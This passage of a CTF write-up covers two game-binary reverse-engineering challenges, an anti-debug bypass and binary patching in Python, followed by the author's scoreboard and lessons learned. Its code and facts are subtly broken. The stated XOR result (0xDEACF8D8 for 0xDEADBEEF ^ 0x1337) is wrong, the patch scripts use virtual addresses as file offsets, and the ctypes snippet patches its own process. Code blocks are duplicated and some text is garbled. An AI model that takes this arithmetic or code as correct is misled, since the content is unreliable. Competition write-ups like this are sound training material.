gdb ./snake_bd1w0tb.exe
(gdb) break *0x00403000
(gdb) rungdb ./snake_bd1w0tb.exe
(gdb) break *0x00403000
(gdb) runThe game started. I played through it (which was actually kinda fun), and when the game ended, the breakpoint hit.
(gdb) x/s $rdi
# CTF{sn4k3_g4m3_r3v3rs3_m4st3r}(gdb) x/s $rdi
# CTF{sn4k3_g4m3_r3v3rs3_m4st3r}The flag was sitting right there in memory, in plaintext, before the encryption function ran. Sometimes the simplest approach is the best one.
Bypassing Anti-Debug
To run the binary in a debugger, I needed to bypass the anti-debug checks:
import ctypes
# Patch IsDebuggerPresent
kernel32 = ctypes.windll.kernel32
kernel32.WriteProcessMemory(
kernel32.GetCurrentProcess(),
0x00401A20,
b'\x31\xc0\xc3', # xor eax,eax; ret
3,
None
)import ctypes
# Patch IsDebuggerPresent
kernel32 = ctypes.windll.kernel32
kernel32.WriteProcessMemory(
kernel32.GetCurrentProcess(),
0x00401A20,
b'\x31\xc0\xc3', # xor eax,eax; ret
3,
None
)Or, more simply, I just patched the binary:
with open('snake_bd1w0tb.exe', 'rb') as f:
data = bytearray(f.read())
data[0x00401A20:0x00401A25] = b'\x90' * 5 # NOP
with open('snake_patched.exe', 'wb') as f:
f.write(data)with open('snake_bd1w0tb.exe', 'rb') as f:
data = bytearray(f.read())
data[0x00401A20:0x00401A25] = b'\x90' * 5 # NOP
with open('snake_patched.exe', 'wb') as f:
f.write(data)Flag
CTF{sn4k3_g4m3_r3v3rs3_m4st3r}CTF{sn4k3_g4m3_r3v3rs3_m4st3r}The Takeaway
Don't trust what a binary claims to be. A 2MB snake game with encryption functions and anti-debugging? Something is very wrong. Always check the strings, the functions, and the size. And remember: sometimes the easiest way to get the flag is to let the program decrypt it for you.
Challenge 7: Dino Runner, But Make It XOR {#challenge-7}
Category: Reverse Engineering | Difficulty: Medium | Points: 350
The Brief
"Reverse engineer the dino game and extract the flag."
Another game. This time, a Chrome dinosaur game clone.
The Score Validation
I loaded the binary in IDA Pro and found the interesting function:
int validate_score(int score) {
return (score ^ 0x1337) == 0xDEADBEEF;
}int validate_score(int score) {
return (score ^ 0x1337) == 0xDEADBEEF;
}This is a simple XOR comparison. Let me break it down:
The function takes a score, XORs it with 0x1337, and checks if the result equals 0xDEADBEEF. If it does, the function returns true (1), and presumably the flag is displayed.
XOR Theory
XOR (exclusive or) is a fundamental bitwise operation:
0 XOR 0 = 0
0 XOR 1 = 1
1 XOR 0 = 1
1 XOR 1 = 00 XOR 0 = 0
0 XOR 1 = 1
1 XOR 0 = 1
1 XOR 1 = 0The key property of XOR is that it's its own inverse:
- If
A XOR B = C, thenC XOR B = A - If
A XOR B = C, thenC XOR A = B
This means if you know any two values, you can find the third:
score XOR 0x1337 = 0xDEADBEEF
score = 0xDEADBEEF XOR 0x1337
score = 0xDEACF8D8score XOR 0x1337 = 0xDEADBEEF
score = 0xDEADBEEF XOR 0x1337
score = 0xDEACF8D8So the required score is 0xDEACF8D8 (3,736,223,064 in decimal).
The Solution
I patched the binary to set the score variable to the magic value:
import struct
with open('dino_BaZidFo.exe', 'rb') as f:
data = bytearray(f.read())
target_score = 0xDEADBEEF ^ 0x1337
# Find and patch the score variable
data[0x00408000:0x00408004] = struct.pack('<I', target_score)
with open('dino_patched.exe', 'wb') as f:
f.write(data)import struct
with open('dino_BaZidFo.exe', 'rb') as f:
data = bytearray(f.read())
target_score = 0xDEADBEEF ^ 0x1337
# Find and patch the score variable
data[0x00408000:0x00408004] = struct.pack('<I', target_score)
with open('dino_patched.exe', 'wb') as f:
f.write(data)Ran the patched binary, and the flag appeared on screen.
Where I Got Stuck (Briefly)
I initially tried to find the flag by searching the binary for CTF{, but it wasn't there. The flag was encrypted and only decrypted when the correct score was achieved. I needed to patch the score or reverse the encryption.
I also tried to find the decryption function, but it was obfuscated with multiple XOR operations:
void decrypt_flag(int score) {
char key[] = "DINO_SECRET";
// Multiple XOR layers
// Too complex to reverse manually
}void decrypt_flag(int score) {
char key[] = "DINO_SECRET";
// Multiple XOR layers
// Too complex to reverse manually
}Patching the score was much simpler.
Flag
CTF{d1n0_r3v3rs3_r3ady_f0r_ch33rs}CTF{d1n0_r3v3rs3_r3ady_f0r_ch33rs}The Takeaway
XOR with known values is trivially reversible. If you see A XOR B = C and you know two of the three, you can always find the third. This is why XOR is everywhere in CTF challenges β it's simple, fast, and educational.
The Scoreboard {#scoreboard}
After several hours, here's where I ended up:
This timeline shows challenge completion over 5 hours, score accumulation, and key insights about time management.
Final placement: Top 6 out of 100 participants
Not bad for a solo run. The top team had 7,030 points, so I was close. If I had solved one more challenge completely, or solved any challenge faster, I might have cracked the top 3.
What I'd Do Differently
- Start with the easy challenges. I jumped straight into RidgeCourier (Hard) and spent hours on it. I should have started with Argon2 (200 points, 0.5 hours) to build momentum and confidence.
- Take breaks. I worked straight for 1 hours before standing up. My decision-making deteriorated significantly after hour . A 15-minute break every hours would have been more productive.
- Document as I go. I lost 30 minutes re-analyzing functions I had already looked at because I didn't write down my findings.
- Ask for help. This was a solo competition, but the community was friendly. I could have discussed approaches with other participants during breaks.
What I'd Tell Myself Starting Over {#lessons}
1. Recon Is Everything
Every challenge started with recon. File types, strings, checksec, entropy analysis, network statistics. Skipping this step wastes hours later. The information you gather in the first 5 minutes often points directly to the solution.
2. Document Everything
I kept notes on every function, every offset, every leaked value. When you're deep in GDB , you won't remember that the canary is at stack position 15. Write it down.
3. Know Your Tools
You don't need to master every tool, but you should know:
- Ghidra for decompilation (it's free!)
- pwntools for exploit development
- Hashcat for password cracking
- binwalk for firmware
- tshark for network analysis
4. Take Breaks
I spent several minutes staring at a Ghidra decompilation before realizing I had the wrong function. I only noticed after I took a break. Your brain needs rest to process complex problems.
5. Read the Error Messages
Seriously. The error message tells you exactly what went wrong. "Segmentation fault at 0x�" Check your addresses. "Canary check failed?" You overwrote the canary. "Alignment fault?" Add a ret gadget.
6. It's Okay to Look at Write-ups
Not during the competition, but after. Learning how others approached the same problem is invaluable. That's why I'm writing this.
7. The Easy Challenges Are Free Points
I spent time on a 500-point challenge. In that time, I could have solved Argon2 (200 points), Network Challenge (350 points), and Dino (350 points) β totaling 900 points. That's nearly double the points in the same time.
8. Simple Solutions Work
My RidgeCourier exploit was 15 lines of code. My Argon2 crack was one Hashcat command. My Dino solution was a 5-line Python script. Don't overthink it. The simplest solution that works is the best solution.
Acknowledgements {#acknowledgements}
Thanks to:
- CIA Conference (CIACON) for organizing the event
- CyberCube Services for hosting at their Gurugram facility
- Altered Security for sponsoring the CTF
- The volunteers who ran the challenges and kept everything running
- The other participants who made the atmosphere electric
My students at HackCyberverse who push me to keep learning If you're training for CTFs: https://Hackcyberverse.com offers personalized coaching and team preparation programs.
This write-up is for educational purposes. All challenges were part of a legitimate CTF competition. The techniques described here should only be used in authorized security testing.
β Rohit Chaudhary, Founder Hackcyberverse